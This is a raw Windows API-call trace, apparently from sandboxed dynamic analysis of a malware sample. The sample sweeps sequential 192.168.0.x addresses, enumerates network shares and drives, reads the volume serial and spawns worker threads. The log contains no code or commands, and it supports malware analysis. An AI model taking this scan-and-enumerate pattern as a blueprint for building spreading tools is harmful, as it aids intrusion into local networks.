[0259.392] htonl (hostlong=0xc0a800ec) returned 0xec00a8c0 [0259.392] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.392] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.392] htonl (hostlong=0xc0a800ed) returned 0xed00a8c0 [0259.392] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.392] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.392] htonl (hostlong=0xc0a800ee) returned 0xee00a8c0 [0259.392] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.392] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.392] htonl (hostlong=0xc0a800ef) returned 0xef00a8c0 [0259.392] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.392] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.392] htonl (hostlong=0xc0a800f0) returned 0xf000a8c0 [0259.392] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.392] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.392] htonl (hostlong=0xc0a800f1) returned 0xf100a8c0 [0259.392] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.392] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.392] htonl (hostlong=0xc0a800f2) returned 0xf200a8c0 [0259.392] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.392] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.392] htonl (hostlong=0xc0a800f3) returned 0xf300a8c0 [0259.392] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.392] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.392] htonl (hostlong=0xc0a800f4) returned 0xf400a8c0 [0259.392] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.392] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.392] htonl (hostlong=0xc0a800f5) returned 0xf500a8c0 [0259.392] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.392] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.392] htonl (hostlong=0xc0a800f6) returned 0xf600a8c0 [0259.392] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.392] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.392] htonl (hostlong=0xc0a800f7) returned 0xf700a8c0 [0259.392] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.392] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.392] htonl (hostlong=0xc0a800f8) returned 0xf800a8c0 [0259.392] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.392] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.392] htonl (hostlong=0xc0a800f9) returned 0xf900a8c0 [0259.393] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.393] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.393] GetProcessHeap () returned 0xc10000 [0259.393] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x344b7b0 | out: hHeap=0xc10000) returned 1 [0259.393] GetProcessHeap () returned 0xc10000 [0259.393] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x344bfb8 | out: hHeap=0xc10000) returned 1 [0259.393] htonl (hostlong=0x100007f) returned 0x7f000001 [0259.393] GetProcessHeap () returned 0xc10000 [0259.393] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e4fc0 | out: hHeap=0xc10000) returned 1 [0259.393] WaitForSingleObject (hHandle=0x278, dwMilliseconds=0xffffffff) returned 0x0 [0259.393] GetProcessHeap () returned 0xc10000 [0259.393] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f100 | out: hHeap=0xc10000) returned 1 [0259.393] Sleep (dwMilliseconds=0x2710) [0269.693] GetProcessHeap () returned 0xc10000 [0269.693] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x4000) returned 0x33e8f78 [0269.694] GetProcessHeap () returned 0xc10000 [0269.694] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0269.695] WNetOpenEnumW (in: dwScope=0x1, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x289f918 | out: lphEnum=0x289f918*=0x3902670) returned 0x0 [0270.741] WNetEnumResourceW (in: hEnum=0x3902670, lpcCount=0x289f910, lpBuffer=0x33e8f78, lpBufferSize=0x289f91c | out: lpcCount=0x289f910, lpBuffer=0x33e8f78, lpBufferSize=0x289f91c) returned 0x103 [0270.742] WNetCloseEnum (hEnum=0x3902670) returned 0x0 [0270.742] GetProcessHeap () returned 0xc10000 [0270.742] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8f78 | out: hHeap=0xc10000) returned 1 [0270.742] GetProcessHeap () returned 0xc10000 [0270.742] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0270.743] GetProcessHeap () returned 0xc10000 [0270.743] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x4000) returned 0x33e8f78 [0270.743] GetProcessHeap () returned 0xc10000 [0270.743] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0270.743] WNetOpenEnumW (in: dwScope=0x4, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x289f900 | out: lphEnum=0x289f900*=0xc287d8) returned 0x0 [0270.746] WNetEnumResourceW (in: hEnum=0xc287d8, lpcCount=0x289f8f8, lpBuffer=0x33e8f78, lpBufferSize=0x289f904 | out: lpcCount=0x289f8f8, lpBuffer=0x33e8f78, lpBufferSize=0x289f904) returned 0x103 [0270.747] WNetCloseEnum (hEnum=0xc287d8) returned 0x0 [0270.747] GetProcessHeap () returned 0xc10000 [0270.747] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8f78 | out: hHeap=0xc10000) returned 1 [0270.747] GetProcessHeap () returned 0xc10000 [0270.747] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0270.747] GetProcessHeap () returned 0xc10000 [0270.747] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x4000) returned 0x33e8f78 [0270.747] GetProcessHeap () returned 0xc10000 [0270.747] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0270.747] WNetOpenEnumW (in: dwScope=0x5, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x289f8e8 | out: lphEnum=0x289f8e8*=0x39023b0) returned 0x0 [0286.359] WNetEnumResourceW (in: hEnum=0x39023b0, lpcCount=0x289f8e0, lpBuffer=0x33e8f78, lpBufferSize=0x289f8ec | out: lpcCount=0x289f8e0, lpBuffer=0x33e8f78, lpBufferSize=0x289f8ec) returned 0x0 [0286.360] GetProcessHeap () returned 0xc10000 [0286.360] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x4000) returned 0xc38a60 [0286.360] GetProcessHeap () returned 0xc10000 [0286.360] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xc92d98 [0286.361] WNetOpenEnumW (dwScope=0x5, dwType=0x0, dwUsage=0x0, lpNetResource=0x33e8f78, lphEnum=0x289f8a8) Thread: id = 56 os_tid = 0xd08 [0211.022] GetLogicalDrives () returned 0x4 [0211.022] GetProcessHeap () returned 0xc10000 [0211.022] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xc22548 [0211.022] GetProcessHeap () returned 0xc10000 [0211.022] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x28) returned 0xc27490 [0211.022] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x27c [0211.022] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x280 [0211.022] GetProcessHeap () returned 0xc10000 [0211.022] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2f128 [0211.022] GetProcessHeap () returned 0xc10000 [0211.022] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2ef98 [0211.022] GetProcessHeap () returned 0xc10000 [0211.022] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2f1a0 [0211.022] GetProcessHeap () returned 0xc10000 [0211.022] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0xc20170 [0211.022] GetProcessHeap () returned 0xc10000 [0211.023] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc20170 | out: hHeap=0xc10000) returned 1 [0211.023] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2ef98, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0211.023] GetProcessHeap () returned 0xc10000 [0211.023] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f1a0 | out: hHeap=0xc10000) returned 1 [0211.023] GetProcessHeap () returned 0xc10000 [0211.023] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f128 | out: hHeap=0xc10000) returned 1 [0211.023] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x299fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x299fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0211.024] GetProcessHeap () returned 0xc10000 [0211.024] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ef98 | out: hHeap=0xc10000) returned 1 [0211.024] GetProcessHeap () returned 0xc10000 [0211.024] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10) returned 0xc2f8c8 [0211.024] GetProcessHeap () returned 0xc10000 [0211.024] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10) returned 0xc2f928 [0211.024] GetProcessHeap () returned 0xc10000 [0211.025] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10) returned 0xc2f640 [0211.025] GetProcessHeap () returned 0xc10000 [0211.025] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0xc20170 [0211.025] GetProcessHeap () returned 0xc10000 [0211.025] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10) returned 0xc2f688 [0211.025] htonl (hostlong=0xb4197730) returned 0x307719b4 [0211.025] QueryPerformanceCounter (in: lpPerformanceCount=0x299fd28 | out: lpPerformanceCount=0x299fd28*=10350612729) returned 1 [0211.025] GetTickCount () returned 0x1143cac [0211.025] GetCurrentProcessId () returned 0xc88 [0211.025] GetCurrentThreadId () returned 0xd08 [0211.025] GetLocalTime (in: lpSystemTime=0x299fd10 | out: lpSystemTime=0x299fd10*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x4, wDay=0xb, wHour=0xf, wMinute=0x1e, wSecond=0x13, wMilliseconds=0x224)) [0211.025] SystemTimeToFileTime (in: lpSystemTime=0x299fd10, lpFileTime=0x299fd20 | out: lpFileTime=0x299fd20) returned 1 [0211.025] QueryPerformanceCounter (in: lpPerformanceCount=0x299fd28 | out: lpPerformanceCount=0x299fd28*=10350640995) returned 1 [0211.026] GetProcessHeap () returned 0xc10000 [0211.026] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x28) returned 0xc274c0 [0211.026] GetProcessHeap () returned 0xc10000 [0211.026] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10) returned 0xc2f6d0 [0211.026] GetProcessHeap () returned 0xc10000 [0211.026] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x4) returned 0xc28c80 [0211.026] GetProcessHeap () returned 0xc10000 [0211.026] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x14) returned 0xc28798 [0211.026] GetProcessHeap () returned 0xc10000 [0211.026] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10) returned 0xc2f7f0 [0211.026] GetProcessHeap () returned 0xc10000 [0211.026] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x80) returned 0xc1e2b8 [0211.026] GetProcessHeap () returned 0xc10000 [0211.026] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10) returned 0xc2f808 [0211.026] GetProcessHeap () returned 0xc10000 [0211.026] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x82) returned 0xc1fa80 [0211.026] GetProcessHeap () returned 0xc10000 [0211.026] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10) returned 0xc2f958 [0211.026] GetProcessHeap () returned 0xc10000 [0211.026] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x4) returned 0xc4d620 [0211.027] GetProcessHeap () returned 0xc10000 [0211.027] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10) returned 0xc2f970 [0211.027] GetProcessHeap () returned 0xc10000 [0211.027] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x80) returned 0xc214e8 [0211.027] GetProcessHeap () returned 0xc10000 [0211.027] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10) returned 0xc2f988 [0211.027] GetProcessHeap () returned 0xc10000 [0211.027] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x2) returned 0xc4d710 [0211.027] GetProcessHeap () returned 0xc10000 [0211.027] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x4) returned 0xc4d5e0 [0211.027] GetProcessHeap () returned 0xc10000 [0211.027] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10) returned 0xc2fa00 [0211.027] GetProcessHeap () returned 0xc10000 [0211.027] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x80) returned 0xc22e98 [0211.027] GetProcessHeap () returned 0xc10000 [0211.027] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10) returned 0xc2f940 [0211.027] GetProcessHeap () returned 0xc10000 [0211.027] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x4) returned 0xc4d740 [0211.027] GetProcessHeap () returned 0xc10000 [0211.028] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xc4d710, Size=0x82) returned 0xc21388 [0211.028] GetProcessHeap () returned 0xc10000 [0211.028] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xc4d740, Size=0x100) returned 0xc21220 [0211.028] GetProcessHeap () returned 0xc10000 [0211.028] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10) returned 0xc2f9a0 [0211.028] GetProcessHeap () returned 0xc10000 [0211.028] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x82) returned 0xc219c0 [0211.028] GetProcessHeap () returned 0xc10000 [0211.028] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10) returned 0xc2f9b8 [0211.028] GetProcessHeap () returned 0xc10000 [0211.028] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x82) returned 0xc21a50 [0211.028] GetProcessHeap () returned 0xc10000 [0211.028] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xc21388, Size=0x104) returned 0xc21388 [0211.029] GetProcessHeap () returned 0xc10000 [0211.029] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xc21220, Size=0x200) returned 0xc4dd68 [0211.030] GetProcessHeap () returned 0xc10000 [0211.030] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc4d5e0 | out: hHeap=0xc10000) returned 1 [0211.030] GetProcessHeap () returned 0xc10000 [0211.030] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc4dd68 | out: hHeap=0xc10000) returned 1 [0211.030] GetProcessHeap () returned 0xc10000 [0211.030] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f940 | out: hHeap=0xc10000) returned 1 [0211.030] GetProcessHeap () returned 0xc10000 [0211.030] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc214e8 | out: hHeap=0xc10000) returned 1 [0211.030] GetProcessHeap () returned 0xc10000 [0211.030] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f970 | out: hHeap=0xc10000) returned 1 [0211.030] GetProcessHeap () returned 0xc10000 [0211.030] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc22e98 | out: hHeap=0xc10000) returned 1 [0211.030] GetProcessHeap () returned 0xc10000 [0211.030] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2fa00 | out: hHeap=0xc10000) returned 1 [0211.031] GetProcessHeap () returned 0xc10000 [0211.031] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc21388 | out: hHeap=0xc10000) returned 1 [0211.031] GetProcessHeap () returned 0xc10000 [0211.031] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f988 | out: hHeap=0xc10000) returned 1 [0211.031] GetProcessHeap () returned 0xc10000 [0211.031] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc219c0 | out: hHeap=0xc10000) returned 1 [0211.031] GetProcessHeap () returned 0xc10000 [0211.031] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f9a0 | out: hHeap=0xc10000) returned 1 [0211.031] GetProcessHeap () returned 0xc10000 [0211.031] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc21a50 | out: hHeap=0xc10000) returned 1 [0211.031] GetProcessHeap () returned 0xc10000 [0211.031] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f9b8 | out: hHeap=0xc10000) returned 1 [0211.031] GetProcessHeap () returned 0xc10000 [0211.031] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc28c80 | out: hHeap=0xc10000) returned 1 [0211.031] GetProcessHeap () returned 0xc10000 [0211.031] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f6d0 | out: hHeap=0xc10000) returned 1 [0211.031] GetProcessHeap () returned 0xc10000 [0211.031] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc1fa80 | out: hHeap=0xc10000) returned 1 [0211.031] GetProcessHeap () returned 0xc10000 [0211.031] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f808 | out: hHeap=0xc10000) returned 1 [0211.032] GetProcessHeap () returned 0xc10000 [0211.032] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc1e2b8 | out: hHeap=0xc10000) returned 1 [0211.032] GetProcessHeap () returned 0xc10000 [0211.032] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f7f0 | out: hHeap=0xc10000) returned 1 [0211.032] GetProcessHeap () returned 0xc10000 [0211.032] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc4d620 | out: hHeap=0xc10000) returned 1 [0211.032] GetProcessHeap () returned 0xc10000 [0211.032] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f958 | out: hHeap=0xc10000) returned 1 [0211.032] GetProcessHeap () returned 0xc10000 [0211.032] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc274c0 | out: hHeap=0xc10000) returned 1 [0211.032] GetProcessHeap () returned 0xc10000 [0211.032] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc28798 | out: hHeap=0xc10000) returned 1 [0211.032] GetProcessHeap () returned 0xc10000 [0211.032] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0xa4) returned 0xc20ea0 [0211.032] GetProcessHeap () returned 0xc10000 [0211.032] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f928 | out: hHeap=0xc10000) returned 1 [0211.032] GetProcessHeap () returned 0xc10000 [0211.032] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f640 | out: hHeap=0xc10000) returned 1 [0211.032] GetProcessHeap () returned 0xc10000 [0211.032] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc20170 | out: hHeap=0xc10000) returned 1 [0211.032] GetProcessHeap () returned 0xc10000 [0211.032] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f688 | out: hHeap=0xc10000) returned 1 [0211.032] GetProcessHeap () returned 0xc10000 [0211.032] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f8c8 | out: hHeap=0xc10000) returned 1 [0211.032] GetProcessHeap () returned 0xc10000 [0211.032] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x18) returned 0xc28638 [0211.032] GetProcessHeap () returned 0xc10000 [0211.033] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0xe) returned 0xc2f8c8 [0211.033] ResetEvent (hEvent=0x280) returned 1 [0211.033] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x3856b3, lpParameter=0xc28638, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x284 [0211.034] CloseHandle (hObject=0x284) returned 1 [0211.034] GetProcessHeap () returned 0xc10000 [0211.034] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10) returned 0xc2f928 [0211.034] GetProcessHeap () returned 0xc10000 [0211.034] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10) returned 0xc2f6d0 [0211.034] GetProcessHeap () returned 0xc10000 [0211.034] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10) returned 0xc2f640 [0211.034] GetProcessHeap () returned 0xc10000 [0211.034] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0xc20170 [0211.034] GetProcessHeap () returned 0xc10000 [0211.034] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10) returned 0xc2f7f0 [0211.034] htonl (hostlong=0xb4197730) returned 0x307719b4 [0211.034] GetProcessHeap () returned 0xc10000 [0211.034] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x28) returned 0xc274c0 [0211.034] GetProcessHeap () returned 0xc10000 [0211.034] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10) returned 0xc2f688 [0211.034] GetProcessHeap () returned 0xc10000 [0211.034] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x4) returned 0xc28c80 [0211.034] GetProcessHeap () returned 0xc10000 [0211.034] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x14) returned 0xc28458 [0211.035] GetProcessHeap () returned 0xc10000 [0211.035] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10) returned 0xc2f808 [0211.035] GetProcessHeap () returned 0xc10000 [0211.035] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x80) returned 0xc1e2b8 [0211.035] GetProcessHeap () returned 0xc10000 [0211.035] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10) returned 0xc2f9e8 [0211.035] GetProcessHeap () returned 0xc10000 [0211.035] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x82) returned 0xc1fa80 [0211.035] GetProcessHeap () returned 0xc10000 [0211.035] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10) returned 0xc2f988 [0211.035] GetProcessHeap () returned 0xc10000 [0211.035] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x4) returned 0xc4d700 [0211.035] GetProcessHeap () returned 0xc10000 [0211.035] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10) returned 0xc2fa00 [0211.035] GetProcessHeap () returned 0xc10000 [0211.035] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x80) returned 0xc214e8 [0211.035] GetProcessHeap () returned 0xc10000 [0211.035] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10) returned 0xc2f940 [0211.035] GetProcessHeap () returned 0xc10000 [0211.035] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x2) returned 0xc4d710 [0211.035] GetProcessHeap () returned 0xc10000 [0211.035] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x4) returned 0xc4d740 [0211.035] GetProcessHeap () returned 0xc10000 [0211.035] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10) returned 0xc2f958 [0211.035] GetProcessHeap () returned 0xc10000 [0211.035] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x80) returned 0xc22e98 [0211.035] GetProcessHeap () returned 0xc10000 [0211.036] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10) returned 0xc2f970 [0211.036] GetProcessHeap () returned 0xc10000 [0211.036] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x4) returned 0xc4d5b0 [0211.036] GetProcessHeap () returned 0xc10000 [0211.036] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xc4d710, Size=0x82) returned 0xc21388 [0211.036] GetProcessHeap () returned 0xc10000 [0211.036] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xc4d5b0, Size=0x100) returned 0xc21220 [0211.036] GetProcessHeap () returned 0xc10000 [0211.036] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10) returned 0xc2f9a0 [0211.036] GetProcessHeap () returned 0xc10000 [0211.036] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x82) returned 0xc219c0 [0211.036] GetProcessHeap () returned 0xc10000 [0211.036] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10) returned 0xc2f9b8 [0211.036] GetProcessHeap () returned 0xc10000 [0211.036] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x82) returned 0xc21a50 [0211.036] GetProcessHeap () returned 0xc10000 [0211.036] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xc21388, Size=0x104) returned 0xc21388 [0211.036] GetProcessHeap () returned 0xc10000 [0211.036] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xc21220, Size=0x200) returned 0xc4dd68 [0211.038] GetProcessHeap () returned 0xc10000 [0211.038] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc4d740 | out: hHeap=0xc10000) returned 1 [0211.038] GetProcessHeap () returned 0xc10000 [0211.038] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc4dd68 | out: hHeap=0xc10000) returned 1 [0211.038] GetProcessHeap () returned 0xc10000 [0211.038] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f970 | out: hHeap=0xc10000) returned 1 [0211.038] GetProcessHeap () returned 0xc10000 [0211.038] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc214e8 | out: hHeap=0xc10000) returned 1 [0211.038] GetProcessHeap () returned 0xc10000 [0211.038] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2fa00 | out: hHeap=0xc10000) returned 1 [0211.038] GetProcessHeap () returned 0xc10000 [0211.038] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc22e98 | out: hHeap=0xc10000) returned 1 [0211.038] GetProcessHeap () returned 0xc10000 [0211.038] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f958 | out: hHeap=0xc10000) returned 1 [0211.038] GetProcessHeap () returned 0xc10000 [0211.038] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc21388 | out: hHeap=0xc10000) returned 1 [0211.038] GetProcessHeap () returned 0xc10000 [0211.038] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f940 | out: hHeap=0xc10000) returned 1 [0211.038] GetProcessHeap () returned 0xc10000 [0211.038] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc219c0 | out: hHeap=0xc10000) returned 1 [0211.038] GetProcessHeap () returned 0xc10000 [0211.038] HeapFree (in: hHeap=0xc10000, 